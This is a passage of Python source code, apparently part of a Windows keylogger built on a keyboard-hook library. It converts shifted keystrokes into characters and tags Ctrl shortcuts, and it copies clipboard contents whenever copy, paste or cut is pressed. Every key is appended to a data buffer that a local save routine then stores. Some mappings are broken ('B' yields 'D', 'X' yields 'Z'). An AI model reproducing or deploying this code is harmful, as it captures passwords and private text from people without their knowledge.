or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_Plus': keys = '+' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_3': keys = '~' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_5': keys = '|' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_6': keys = '}' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_4': keys = '{' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_7': keys = '"' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_1': keys = ':' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_2': keys = '?' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_Period': keys = '>' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_Comma': keys = '<' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'A': keys = 'A' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'B': keys = 'B' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'C': keys = 'C' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'B': keys = 'D' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'E': keys = 'E' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'F': keys = 'F' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'G': keys = 'G' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'H': keys = 'H' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'I': keys = 'I' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'J': keys = 'J' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'K': keys = 'K' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'L': keys = 'L' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'M': keys = 'M' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'N': keys = 'N' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'O': keys = 'O' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'P': keys = 'P' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Q': keys = 'Q' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'R': keys = 'R' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'S': keys = 'S' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'T': keys = 'T' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'U': keys = 'U' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'V': keys = 'V' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'W': keys = 'W' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'X': keys = 'Z' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Y': keys = 'Y' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Z': keys = 'Z' elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'C': clipboardResult = self.getClipboard() keys = '' elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'V': clipboardResult = self.getClipboard() keys = clipboardResult elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'A': keys = '<SELECT ALL>' elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'S': keys = '<SAVE>' elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'O': keys = '<OPEN>' elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'N': keys = '<NEW>' elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'X': clipboardResult = self.getClipboard() keys = '' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(HookConstants.VKeyToID('VK_RSHIFT'))): keys = '<SHIFT>' else: keys = chr(event.Ascii) data = data + keys self.local()